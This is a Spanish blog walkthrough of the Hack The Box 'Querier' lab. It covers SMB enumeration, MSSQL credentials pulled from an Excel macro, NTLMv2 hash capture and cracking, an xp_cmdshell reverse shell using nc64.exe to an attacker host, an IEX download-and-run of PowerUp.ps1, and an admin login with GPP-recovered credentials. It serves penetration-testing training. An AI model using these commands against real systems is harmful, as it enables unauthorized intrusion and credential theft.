Introducción
Querier es una máquina Windows de dificultad media, que involucra acceso a mssql y escalada de privilegios en Windows. Utilizaremos un libro de Excel habilitado para macros desde un recurso compartido SMB abierto, y encontraremos las credenciales de la base de datos en las macros. Luego, utilizaremos esas credenciales para conectarnos al MSSQL del host como un usuario limitado, lo que me permitirá obtener un hash NTLMv2 con responder. Este hash me dará suficiente acceso a la base de datos para ejecutar comandos y obtener una shell.
En cuanto a la escalada de privilegios, ejecutaré PowerUp.ps1 para obtener credenciales de administrador desde un archivo GPP.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Querier enumerando los servicios que tiene abiertos el sistema. Comenzamos por una enumeración rápida del sistema.
nmap -p- --open --min-rate 250 -Pn -n 10.10.10.125 --defeat-rst-ratelimit
![](https://elhackeretico.com/wp-content/uploads/2023/06/Pasted-image-20230618115955.png)
Conociendo los servicios abiertos, vamos a realizar la enumeración profunda de estos servicios.
nmap -p135,139,445,1433,5985,47001 -Pn -n --min-rate 200 -sVC 10.10.10.125
![](https://elhackeretico.com/wp-content/uploads/2023/06/Pasted-image-20230618120210-1.png)
Enumeración SMB
crackmapexec smb 10.10.10.125
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-74.png)
smbclient -L ////10.10.10.125// -U ''
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-75.png)
Vemos que el recurso compartido “report” es accesible. También, vemos que tenemos acceso de lectura a $IPC, lo cual puede ser útil para enumerar nombres de usuarios.
smbclient \\10.10.10.125\\Reports -U ''
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-76.png)
Vemos un archivo xlsm. Vamos a descargarlo a nuestra máquina de ataque. Vamos a enumerar usuarios del sistema.
impacket-lookupsid anonymous@10.10.10.125
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-77.png)
El archivo Currency Volume Report.xlsm es un Excel con funcionalidades macro. Para abrir este archivo vamos a utilizar una de las herramientas de la Suite oletools, olevba. Para instalar esta herramienta, ejecutaremos sudo pip3 install oletools
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-78.png)
Dentro de la macro encontramos lo que parecen ser unas credenciales de lo que parece ser una base de datos MSSQL. El usuario “reporting” ya lo encontramos en la enumeración de usuarios anterior. Las credenciales son reporting:PcwTWTHRwryjc$c6.
Explotación
Vamos a conectarnos a la base de datos MS SQL.
impacket-mssqlclient 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -windows-auth
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-79.png)
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-80.png)
Ejecutamos la herramienta responder.
responder -I tun0
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-81.png)
Y de nuevo en la conexión a MS SQL ejecutamos
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-82.png)
Ahora deberemos recibir información en la ejecución del responder.
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-83.png)
Obtenemos el hash para el usuario mssql-svc. El siguiente paso será descifrar este hash de contraseña.
hashcat -m 5600 mssql-svc /home/kali/rockyou.txt --force
Tras un momento, nos devuelve la contraseña del usuario mssql-svc:corporate568
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-84.png)
Volvemos a conectarnos a la base de datos MS SQL, pero con las nuevas credenciales.
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-85.png)
Volvemos a levantar la shell.
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-86.png)
Y ya podremos ejecutar comandos
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-87.png)
Vamos a cargar un binario nc64.exe en la máquina objetivo haciendo uso de un servidor SMB. Levantamos el servidor SMB
impacket-smbserver -smb2support a .
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-88.png)
Ahora ejecutamos este comando en la máquina objetivo.
xp_cmdshell \\10.10.16.6\a\nc64.exe -e cmd.exe 10.10.16.6 443
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-89.png)
Levantamos un oyente en el puerto 443
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-90.png)
Ya tendremos acceso a la máquina objetivo con un usuario de bajos privilegios. Buscamos la flag user.txt
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-91.png)
Elevación de privilegios
Vamos a comenzar enumerando con la herramienta PowerUp.ps1 posibles puntos de acceso al sistema. Para enviar esta herramienta a la máquina objetivo, levantamos un servidor HTTP con Python en nuestra máquina de ataque y posteriormente, ejecutamos de la siguiente manera en la máquina víctima.
powershell
IEX (New-Object Net.Webclient).downloadstring("http://10.10.16.4:8000/PowerUp.ps1")
invoke-allchecks
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-92.png)
Tras ejecutar la herramienta, obtenemos el siguiente resultado.
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-93.png)
Encontramos las credenciales de administrador almacenadas en el archivo XML de Preferencia de Directiva de Grupo (GPP). Ese archivo está cifrado con AES, pero la clave se filtró , por lo que PowerUp.ps1 puede descifrarlo.
Recordamos que en la máquina objetivo esta abierto el puerto 5985, vamos a tratar de iniciar sesión en la máquina objetivo aprovechando estas credenciales.
Las credenciales son Administrator:MyUnclesAreMarioAndLuigi!!1!
Conectamos utilizando la herramienta Evil-WinRM
evil-winrm -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!' -i 10.10.10.125
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-94.png)
![](https://elhackeretico.com/wp-content/uploads/2023/06/image-95.png)
Y ya tendríamos la máquina Querier de HTB.
No responses yet